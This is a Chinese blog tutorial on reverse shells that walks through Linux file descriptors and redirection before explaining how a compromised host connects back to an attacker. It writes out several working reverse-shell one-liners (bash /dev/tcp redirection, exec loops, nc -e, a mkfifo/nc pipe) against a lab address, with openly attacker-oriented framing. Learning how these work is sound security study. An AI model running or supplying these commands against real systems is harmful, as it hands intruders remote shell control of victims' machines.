反弹Shell的姿势详解

反弹Shell定义

控制端监听在某 TCP / UDP 端口 , 被控制端发起请求到该端口 , 并且将其命令行的输入输出转到控制端

最常用的 Reverse Shell ( 反向Shell ) 与常见的 Telnet , SSH 等标准的 Shell 对应 , 本质上就是 网络概念的客户端与服务端的角色反转

反弹Shell是外网渗透的最后一步 , 也是内网渗透的第一步 . 下面就来整理一下


为什么要反弹Shell

在很多测试中 , 常常会遇到被控端 被防火墙限制 , 权限不足 , 端口被占用 等情况

假如我们攻击了一台机器 , 打开了该机器的一个端口 , 攻击者通过自己的主机去连接目标主机 ( 目标主机IP : 目标主机端口 ) , 这是最常见的一种情况 . 这被称为 正向连接 . 远程桌面 , Web服务 , SSH , Telnet 等等 , 都是正向连接 . 但是很多情况下正向连接会不好用

1 . 目标主机中了你的马 , 但是它 在局域网内 , 无法被你直连

2 . 目标主机的IP地址会动态改变 , 你无法持续控制

3 . 由于防火墙等限制 , 目标主机只能发送请求 , 但是无法接收请求

4 . 目标主机什么时候会中你的马 , 对方的网络环境是怎么样的 , 什么时候开关机 ... 目标主机的当前状态是未知的

当你遇到上面几种情况时 , 尝试连接目标主机是不可行的 . 所以 , 攻击者可以建立一个服务器 , 让目标主机上的恶意程序主动连接 , 这才是最好的方法

所以 , 攻击者指定服务器 , 受害者主机主动连接攻击者的服务端程序 , 这就叫反弹Shell


文件描述符与重定向

在反弹Shell的过程中常常要用到 文件描述符重定向 , 这里需要详细说明一下

文件描述符

文件描述符是计算机科学领域中的一个术语 , 是一个用于表述指向文件的引用的抽象化概念

文件描述符在形式上是一个非负整数 . 实际上它是一个索引值 , 指向内核为每一个进程所维护的该进程打开文件的记录表 . 当程序打开一个现有的文件或者创建一个新文件时 , 内核向进程返回一个文件描述符

在Linux系统中 , 把一切都看成文件 . 文件描述符就是内核为了高效管理已被打开的文件所创建的索引 , 用来指向被打开的文件 . 所有执行 I/O 操作的系统调用都会通过文件描述符

关于文件描述符的具体细节可以参考 文件描述符(File Descriptor)简介 - 落棋不悔 - SegmentFault 思否 , 在这里仅需要知道文件描述符是 Linux系统跟踪打开的文件 , 从而分配的一个数字

每个Unix进程 ( 除了可能的守护进程 ) 均有三个标准的POSIX文件描述符 , 对应于三个标准流

png

<unistd.h> : 对于类Unix系统 , 其中定义的接口通常是大量针对系统调用的封装
<stdio.h> : 为输入输出提供标准库头文件

任何一条Shell命令 , 都会继承其父进程的文件描述符 , 因此所有的Shell命令都会默认有三个标准的文件描述符

文件所有输入输出都是由该进程所有打开的文件描述符控制的 , 由因为Linux一切皆文件 , 键盘显示器设备等都是文件 , 所以它们的输入输出也都是通过文件描述符控制的

一条命令执行之前 , 会按照默认的情况绑定文件描述符 ( 也就是上面所说的 0 , 1 , 2 ) . 但是在反弹Shell时 , 我们不希望输出显示在默认设备显示器上 , 而是输出到文件或者其他设备 . 这时 , 我们就需要重定向


重定向

重定向操作一般分为 输入重定向输出重定向

输入重定向 : ' < ' , ' << '

输出重定向 : ' > ' , ' >> '

在 bash 里执行一条指令的时候 , 首先会检查命令中存不存在重定向的符号 . 如果存在则将文件描述符重定向 , 然后再把重定向去掉 , 执行命令 .

如果一个指令中同时存在多个重定向 , 那么它们的顺序不能随意改变 . 因为重定向是从左往右解析的 . 改变顺序可能会出现完全不同的情况 .

png

> file 2>&1 : 先将标准输出重定向到文件file , 再将标准错误重定向到标准输出 . 这样 , 重定向的标准错误也被作为标准输出重定向了文件file中

2>&1 > file : 先将标准错误重定向到标准输出( 这个时候已经将标准错误输出到屏幕上了 ) , 再将标准输出重定向到文件中( 这个时候标准输出为空 )

单独的 " < " 是对标准输入 ( 0 ) 的重定向 , 单独的 " > " 是对标准输出 ( 1 ) 的重定向

总之 , 重定向就是针对文件描述符的操作


1 . 输入重定向

[n]< file : 将文件描述符 " n " 重定向到file文件( 以只读方式打开 ) , 如果 " n " 省略则为 " 0 "

png

最后两个例子实际上是 将输入流从键盘重定向到文件file , 然后通过 cat 命令来查看输入流

png

" << " 这种用法叫做 here document , 它的格式是 cat << EOF , 它的作用是把两个 " EOF " 之间的内容( 也被叫做 Here Document Content 部分 ) 传递给shell作为输入参数


2 . 输出重定向

[n]> file : 将文件描述符 " n " 重定向到file文件( 以写方式打开 ) , 如果 " n " 省略则为 " 1 "

png

" > " 会删除文件中全部内容并且写入新内容 , 如果不想删除原来的内容而直接另起一行写入内容 , 可以使用 " >> "

png


3 . 标准输出与标准错误输出重定向

&> file 或者 >& file : 将标准输出与标准错误都重定向到file文件中( 以写方式打开 ) . 上面这两种格式意义完全相同 . 它们等价于 > file 2>&1 . " 2>&1 " 是将标准错误重定向到标准输出 , " & " 是为了区分 文件1 和 文件描述符1 的 .

png


4 . 文件描述符的复制

[n]<&[m] 或者 [n]>&[m] , 这两个都是将文件描述符[n]赋值到文件描述符[m] , 新的文件描述符是旧的文件描述符的拷贝 , 两个描述符共享同一个数据结构 . 两者区别是 :

[n]<&[m] 是以 只读 方式打开文件

[n]&>[m] 是以 的方式打开文件

上面的 " & " 的目的是为了区分数字名称的文件和文件描述符 . 如果没有 " & " 那么系统会认为是将文件描述符重定向到一个数字作为文件名的文件中 , 而不是一个文件描述符 .

png


5 . exec 绑定重定向

exec [n]< / > file / [n] : 上面所说的输入输出重定向是将输入和输出绑定文件或设备之后只对当前的那条指令有效 , 但如果需要接下来的指令都支持 , 那么需要使用exec

exec [n]<> file , 这个是最简单的用法 , 以读写方式打开file文件 , 并将 " n " 重定向到该文件中 . 如果 " n " 不指定 , 那么默认为标准输入

来看个demo

png


反弹Shell的解析

  • 先看个最简单的交互式Demo

攻击环境

攻击机 : 192.168.140.1 ParrotOS

靶机 : 192.168.140.130 Kali Linux

1 . 攻击机先通过nc监听端口( 这里选择1234 )

png

-l : 监听模式 , 用于入站连接

-v : 详细信息 , 连续使用两次会显示更加详细的信息

-p : 指定监听的端口

2 . 靶机开启一个TCP连接

png

bash -i : 创建一个交互式连接

>& /dev/tcp/ip/port : 将标准输出和标准错误重定向到 /dev/tcp/ip/port  
Linux下一切皆文件 , /dev/tcp/ip/port 就是建立一个TCP连接 . 这个文件实际上是不存在的 . 
但是如果你在一方监听端口的情况下对这个文件进行读写 , 那么就能实现与监听端口的服务器的socket通信

0>&1 : 将标准输入重定向到标准输出 , 因为我们在攻击机上想要输入指令

3 . 攻击机上出现了靶机的Shell

png


  • 分析一下上面是怎么构造的( 3个文件描述符说的都是对于这个交互式bash )

1 . 先来看个最简单的Demo

bash -i > /dev/tcp/192.168.140.1/1234

标准输出 重定向到 /dev/tcp/192.168.140.1/1234 这个TCP连接中
这个命令的 标准输入标准错误 依旧指向默认的设备

2 . 上面这个Demo只能让靶机的输出显示在攻击者主机上 , 攻击者无法控制靶机行为 , 这样用处不大

bash -i > /dev/tcp/192.168.140.1/1234 0>&1

这里将靶机的标准输入重定向到了标准输出中 . 而前面已经使标准输出重定向到了TCP连接中

对于靶机来说 , 攻击者通过TCP连接传入的数据就是靶机的输入啊 , 这样攻击者已经可以与靶机交互了

这个交互式Bash的 标准输入标准输出 被重定向到了TCP连接 /dev/tcp/192.168.140.1/1234 , 而 标准错误 ( 第三方传递的数据( 比如TCP连接 ) 也可以看做是标准错误) 依旧指向默认的设备

3 . 但是这么做还是不好 , 因为 TCP连接传递的输入 和 标准错误 还是输出在靶机上啊 , 如果恰好靶机有人在使用 , 这样多尴尬

bash -i > /dev/tcp/192.168.140.1/1234 0>&1 2>&1

这里将 标准错误 重定向到了 标准输出中 , 而 标准输出 已经被重定向到了TCP连接中
此时 , 靶机的 标准输入 , 标准输出 , 标准错误 已经全部被重定向到了攻击者的主机上 , 此时攻击者等同于拿到了靶机的Shell

上面还有个简便的方法 , 因为 标准输出和标准错误的重定向可以用 " >& " 来实现 , 所以可以下面这句话可以表示相同的含义
bash -i >& /dev/tcp/192.168.140.1/1234 0>&1

另外上面说过 TCP连接传递的数据 可以看做标准错误 , 证实后是这样的
bash -i >& /dev/tcp/192.168.140.1/1234 0<&2

上面就是经典的 Reverse Shell Demo 的解析


来说几种特殊的变形

1 . exec 5<> /dev/tcp/ip/port;cat <&5 | while read line ; do $line >&5 2>&1 ; done

来解释一下这是怎么一回事

exec 5<> /dev/tcp/192.168.146.129/2333;

这里是前面提到的 exec重定向 , 以 读写方式 打开一个TCP连接 , 通过文件描述符对这个 socket连接进行操作

cat <&5 |

以只读的方式将从管道符传来的值 ( 可以看做是 标准输入 , 只不过输入的内容是使用cat命令从 管道符中依次捕获的 ) 依次传入文件描述符

while read line;
    do $line >&5 2>&1;
    done

这是一种比较经典的循环语句 , 一次从文件中读取每一行 , 将其赋值给 $line 变量 , 并且将标准错误重定向到标准输出 , 将标准输出重定向到文件描述符5中 ( 其实就是把 标准错误 和 标准输出 同时重定向到文件描述符5 )

png


2 . 0<&196; exec 196 <> /dev/tcp/ip/port; sh <&196 >&196 2>&196

来看一下是怎么回事

0<&196

将文件描述符196指向的内容重定向到标准输入 , 也就是从TCP连接获取标准输入

exec 196 <> /dev/tcp/ip/port

同样是 exec重定向 , 以 读写方式 打开该TCP连接 , 并且使文件描述符196指向它

sh <&196 >&196 2>&196

标准输出标准错误 重定向到 sh 中 , 这个sh 就是那个TCP连接 , 现在三个标准的文件描述符全部指向TCP连接 , 完成了Shell的交互

png


3 . nc -e /bin/bash ip port

这是在两台机器上都安装 nc 的情况下 . " -e " 参数可以直接反弹一个 Shell

png


4 . rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc ip port > /tmp/f

这是在靶机上没有 " -e " 参数时使用的 .

rm /tmp/f ; mkfifo /tmp/f ;

若 /tmp/f 存在 ; 则删除该文件 . 创建新的文件 . mkfifo是一个创建实名管道的函数 .

cat /tmp/f | /bin/sh -i 2>&1 | nc ip port > /tmp/f

这里可以类比成一个回路 . cat命令将管道中的内容传递给 shell ( 也就是创建的TCP连接 ) , shell 会执行管道中的命令并且将 标准输出标准错误 通过 nc 传递回递到管道中 .

png


总结一下吧

构建反弹Shell的三个关键步骤

1 . 创建一个包含 Shell 的网络连接( TCP连接或者UDP连接都可以 , 上面以创建TCP连接为例 )

2 . 从创建的TCP连接中获取内容 , 作为本机的标准输入

3 . 执行输入的内容 , 然后将 标准输出 和 标准错误 输出到网络连接中

通过上面三个步骤 , 这个Shell的 标准输入 , 标准输出 , 标准错误 已经都被重定向到了TCP连接中 , 完成了一个回路 , 从而实现了交互式Shell

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇